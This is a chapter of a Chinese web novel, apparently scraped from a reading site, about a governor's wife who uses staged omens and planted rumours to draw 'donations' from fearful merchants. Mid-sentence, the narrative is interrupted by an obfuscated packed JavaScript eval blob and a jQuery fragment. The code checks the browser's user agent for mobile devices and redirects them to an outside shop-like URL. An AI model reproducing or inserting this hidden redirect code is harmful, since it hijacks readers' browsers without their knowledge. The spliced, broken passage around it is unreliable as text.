58. 第 58 章
作品:《穿为美艳遗孀,四个亡夫铺我青云路》 直至九月,刑场血流成河,牢狱塞满各家嚎哭的眷属。
刘宅和总督署门外求见的人络绎不绝,连鲁元和彩玉的宅子都不能幸免,从早到晚被一大堆人堵门。
傅春说,那二人已有好长时间不敢回家了,鲁元成天躲在总督署衙门,彩玉流连各大商铺和客栈,见他们一面难如登天。
因夏知霜手擎总督印,外面的人一致认为此番乱象出自她的手笔。
她扶着渐渐显怀的肚子,团扇轻敲桌案,飞过去一个嗔怪的眼神:“我算是替你背了黑锅了。”
刘宁伏案苦书,抽空停笔看她一眼,好气又好笑:“你呀,得了便宜还卖乖,外头哪个不说你好话?”
他们处置的这批人个个是黑心黑肝的奸商,断然没有无辜之辈。百姓对这类恶人无不痛恨,哪个出面惩治坏坯子,哪个得到潮涌般的赞颂。
官员不仅不会对此抱有怨言,反而愈发畏惧,生怕自己或亲属成为下一批阶下囚。
此举既得了钱财,又收拢了民心,还给官员紧紧弦,堪称一箭三雕。
这一招刘宁早就想使了,奈何他初上位那两年忙得晕头转向顾不上,于是憋到了现在,使出来后名声全归到夏知霜头上,夏知霜属实是摘了他的桃子。
他一脸“你恶人先告状”的无奈神情。
夏知霜翻了个俏丽的白眼,在他身旁落座,轻轻“哼”了下:“别以为我不知道,骂我的人还是不少。”
那些个乡绅士族私传她蛇蝎心肠,有些读书读傻了的呆头书生稍被煽惑,愤慨地痛骂妖妇乱政,顺带狠批刘宁色令智昏。
根据千丝台呈上来的情报,贡阳书院私底下传有好几篇话本,内容大同小异,皆是女子后掌权兴风作浪,以致国破家亡的小故事,意有所指再明显不过。
更有妲己亡商、玉环灭唐的暴论指桑骂槐。
书院的夫子严令不许学子乱写,但屡禁不绝。
大概是她此前都以“孝顺贤惠”、“温柔善良”等正面形象示人,如今她大开杀戒,跟往昔的名声大不相符,不明真相的书生觉得他们以前被蒙蔽了,认为毒妇人心才是她的真面目,是故攻击起她来毫不手软。
这其中,一部分人断定她心狠手辣不骂不痛快,一部分是跟风凑热闹,另一部分是带头搞事且肯定是被收买的人。
用头发丝都猜得出来是谁在背后推动,不外乎是刑犯的亲友,可能她曾经得罪过的官员也起到了推波助澜的作用。
好在书院山长明事理,没让不堪入目的文章外流,她的负面舆论控制在最小的范围内发酵,没闹出什么大风波。
作为被痛骂的另一位当事人,刘宁一笑了之。
他语气带着释然:“身处此位,无论做何事、说何话,注定不能讨好每一个人。”顿了顿,他又安慰说,“我初上任那会没少挨骂呢,你看,至今不是还有人骂我贪恋美色误了观东?”
他说着,故作风流地提笔抵在她下颌处,挑眉扮作浪荡子。
夏知霜顺从地抬起下巴,乖乖被调戏,就是眼神晶亮,斜斜凝他,媚得勾人,又透着难以驯服的矜傲,一点不像被风流恶霸采撷的柔弱女子。
倒像是讨上辈子情债来的。
他只被她瞄这一眼,心里就一团柔软,等会要写什么全然忘了。看来上辈子欠了她不少情债,这辈子是收他来了。
刘宁失笑收笔,哪里还演得下去,拉过她手背轻吻。
夏知霜移过去坐近点,半倚半靠他结实的肩背,团扇有一搭没一搭地轻摇,还记挂适才的话题。
她没有真动气,说到底,绝大多数的书生只是被人当枪使了,他们可能都不知道在做的事会给他们带去怎样的后果。
越是被坏人声讨和反对,越是说明她在做正确的事。
她忽然有了个主意,眼睛一亮,巴着他的肩探身说:“这么着吧,咱们坏人做到底,好好榨一榨富人的油水,总不能凭白挨骂一场不是。”
刘宁搁下笔墨,饶有兴趣,摆出洗耳恭听的架势。
夏知霜觉得,捞钱就要捞到底。
说到捞钱,怎么少得了收礼环节呢?哪个当官的没收过礼?
别人收不如自己收,富人不如富己。
他听罢叹气,表示不行,官员收礼是官员的事,刘宅和总督署不能收。
送礼的人不是冤大头,他们总有个图谋,舍官员一两,就要越过官员从别人身上赚回去十两。可想而知,那么大赚头的买卖不会是小事,被坑害的百姓只怕有冤无处申。
刘宁绝不会昧着良心干这种事,亦不能为了蝇头小利坏了总督署的名声。
哪怕是观淇首富陈氏最鼎盛时期送的大礼,前总督刘舒一概拒收,正是有前人苦心经营,刘氏的好声誉得以持续。
民心是刘氏在观东立足的重要支柱,尤其是内忧外患的今时,更加动摇不得。
“你别担心,我知晓轻重,不会坏了规矩。”夏知霜解释说,“别的官员是收进自己的裤腰带,我们是收到公库中,用到公众里去。”
幸存的富户现在必定战战兢兢,害怕也被衙门拷走用刑。以她对富商的了解,他们绝对急得像热锅里的蚂蚁,捧着大把的金钞银票想打通关系求个平安。
即使他们明知这次没有被波及,他们也不会就此安心,而是会未雨绸缪,散出去金山银山,多攀几根高枝,预防将来的危机。
他们不求下一次遇事有人能捞自己,旦求有一根高枝能顾念旧情,事发前给他们通通气就行,他们好早早打包细软逃到外地去。
在她还没嫁进刘家之前,她就是那样做的,有什么风吹草动就化身散财童子,想尽办法孝敬当地官员,别家富户同样是这么操作。
夏知霜是这么想的,这笔钱与其便宜各地官员,不如他们自己收入库中。
——随便寻个由头,告诉外面他们开始收钱了,六神无主的富商门可不就如过江之鲫,前仆后继来拜庙门了么?
届时,钱财充入公中库房,每一笔“捐款”的明细对外公开,用到利民的工程里。
这样尽如人意的好事,保准没有人说三道四,皆大欢喜。
她说完后,和刘宁对视,他怔了怔,似乎没想到她会出这样的主意来。
鲁元经过重重障碍进到宅邸,听得她复述之言,故意不小心嘀咕出声:“果然无奸不商啊……”
狠狠赚了人家这一波钱,下一次该宰人家还是会毫不手软,自个却名利双收,一点污点都不沾身,周扒皮比起她来都是小巫见大巫。
鲁元再看夏知霜的眼神就是“瞧你个心肠黑得滴墨水的奸商”,看刘宁的眼神则是“我们可怜的高节清风的主君都被带坏了”。
小夫妻默契的忽略他复杂的眼神,当做没听到鲁元的排喧。
她抚摸肚子,温柔地说:“我身有不便,这件事全仰赖军师了。”
他捧着公文,温润如旧:“我不好出府,劳累世叔代为奔波了。”
鲁元:“……”
所以您二位不是来找他商量的,是来抓他壮丁的是吗?!
好好好,合着他们只负责出主意,一点力都不用出,白白就得了天大的便宜。
他这把老骨头这下不仅增加公务,要是干不好,很可能会担主责,这差事不好办啊!
夏知霜“好心”提议:“军师实在辛苦,要不,让吕大人或张大人协助?”
鲁元立马拒绝:“臣撑得住!”
刘宁腹中暗笑,也建议说:“若不然,别的公务放给底下之人,世叔专攻此事?”
鲁元登时否决:“臣忙得过来!”
开玩笑,一旦让底下的吕麟和张廷冒头了,今后可就难按下去了。
他可不想有人来分权,更不愿主君和夫人误以为他连这点事都做不好,他就是豁出晚节不保,死也要把这事漂漂亮亮的办下来。
鲁元一抹脸,迈着虚扶的脚步,既幸福又苦恼的出去办事。
两日后,一则重大消息在四郡流传。
云鹤真人夜观天象,四郡似有不详之兆,若想化解,需在宝地兴动土木,设立法坛祈福。
扶微观公布出来的法坛地点多达几十处,有的是穷乡僻壤,有的是深山老林,有的是风景如画却极难通行的乡镇。
建法坛做法事要花钱,特别是需要铺路架桥才进得去的地方,花费可就大了。
民间得到风声,先是忧心不详的天象,再琢磨总督署会不会支持扶微观建立法坛祈福的请求。
倒没几个人怀疑扶微观的占卜之术,那可是观淇九地第一道观,传说云鹤真人已接近半仙,求神问卜灵验得很。
继扶微观之后,有寺庙和道观接二连三卜算出相似的结果,这下百姓笃信不移了。
在民间讨论到最高''潮,纷纷呼吁官府表态的时刻,总督署张榜,同意搭楼设坛。
民众无不欢呼,前段时间因多次征丁带来的阴霾一扫而空,民心重归稳固。
——总督署大局为重,刘氏一心为民。
百姓深信这一点。
他们认为是他们的意愿左右了官府的决策,没有哪个官府能爱民如子到这份上,他们拥立的总督没有辜负他们,他们为身为观东人而自豪!
一时间,刘氏夫妻的声誉再度拔高。
夏知霜和刘宁没有料到这一步,算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911886|183263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是意外之喜了。
她趁热打铁,叫人继续放出消息。
然后在食肆花街内,二三官员醉后胡言:“唉,铺路搭桥去做法场,还是几十处地,这不是乱来吗?府库空虚,如何支得起那般开销?”
有人附和:“我看多半是夏夫人的主意,主君也不拦着。”
另一人叹道:“民意如此,主君和夫人如何能拦?二位大人还是慎言得好。”
话到此,几人意识到酒后失言,忙岔开话题,一人劝这位大人喝酒,一人叫那位大人吃菜,酒席热闹非凡,就是再不提及公事分毫。
隔壁包间的人依稀听得片语,神色顿时微妙起来。
观东第一钱庄的东家冯行看向对座,小声试探:“赵兄,依你说,那边是几个意思?”他朝官员包间的方向抬抬下巴。
药商赵临专注看着酒杯,好像那普通的白瓷杯变成了稀罕古董,漫不经心回道:“某是行商到此,暂留里兴片刻,实是不知啊。”
装,装不死你,冯行对他的回答很不满。
赵临是丰瑛郡的富商,狡猾奸诈,消息颇为灵通,好几次躲过官府的剿查,不可能听不懂他的话。
冯行今日做东,是想跟赵临取取经,琢磨最近是该一切照旧,还是夹着尾巴做人尽量不惹官府的眼。再打听点小道消息,攀哪根高枝才站得稳当。
没承想,他们幸运的坐到了大官隔壁,无意中窃听得隐秘的消息。
既然对方不接茬,冯行便主动递话头,一通胡乱分析。
要说刘府缺银子花,他绝对不信,观东第一世族缺钱的话,四郡就没有富人了。可说总督署缺钱,他将信将疑。
观东一直在战乱和备战中度过,军费如流水,金窟银窟都经不住这么花。
加上去年历经洪灾,灾民在安置区的吃喝拉撒治全归官府管,一管就是大半年,官府还包揽了灾后重建工程,十几万灾民白得一个新家,这笔巨额花销可是天文数字。
听说要不是有陈记……哦,现在叫瑜记了。
要不是有瑜记全力支援,官衙早就崩了,那时灾民四处流窜,刘氏的名声怕是一落千丈。
而今官衙顶住了,可不就要从富人身上找补亏损的银子?
富人不是傻子,至少冯行不是,光凭官府把一个个财主送上断头台,他就猜到了衙门搞什么幺蛾子。
如果隔壁包间的消息是真的,那他就知道该怎么做了。观东最粗的高枝可不就是刘氏么,给谁送钱不是送啊,他们何必舍近求远?
冯行主要是号不准刘氏的脉,以往刘氏对送钱的人不屑一顾,他不敢乱敲门触霉头,刘氏不比别家,敲错了可是要丢脑袋的。
他跟赵临推心置腹,如此这般一说,仔细观察对方的细微表情。
赵临始终微笑,不接他的茬:“冯兄说得在理,看来里兴的水不是一般的深。某初来乍到,一事不通,多谢兄台提点了。”
冯行听得两眼发黑,几乎被气得吐血,强颜欢笑:“……赵兄喝酒,喝酒。”
什么初来乍到啊,你赵临来里兴还少吗?你不是在里兴还有产业么?还一事不通,你睁眼说瞎话蒙谁呢你?!
不过赵临要是痛快应和他的话,或是反驳他的话,冯行就要疑心里头有无内幕了。
酒过三巡,散席之后,冯行交代心腹:“盯紧赵家,无论事大事小,立刻回禀。”
“是,老爷。”心腹带人走了。
隔两日,随从回来,说赵临在悄悄备礼,十分厚重,地契、粮库、钱庄票据装满一匣,珠宝什么的几大箱。
冯行忙问:“可知他给谁送?”
随从摇头:“小的跟着他的人,只知他们在密切关注总督署的动向。”
冯行的心落回了实处,得意的想:好你个姓赵的,在你老爷面前装糊涂,一回家还不是偷偷准备,打算先人一步递投名状?还好老爷我留了一手,险些被你小子糊弄了去。
赵临是个投机者著称的商人,他的敏锐直觉和消息渠道值得信赖,否则冯行不会选择请客招待他。
既然赵临作出了选择,冯行当然得跟上,而且他还要截胡,做第一个给总督署递投名状的人。
第一个才会被人深刻的记住!
他火急火燎的吩咐:“快快,收拾出一份礼单,比赵家厚三分。”
随从替他肉疼,提醒道:“老爷,那赵家掏得不少啊。”
虽是不少,但祭出去的那部分能保命啊,好歹剩下的能留着小命随时花销不是。
冯行咬牙挥手:“去,按我说的办。”
随从一步三回头,到门口见他还不改主意,这才麻溜去办事。

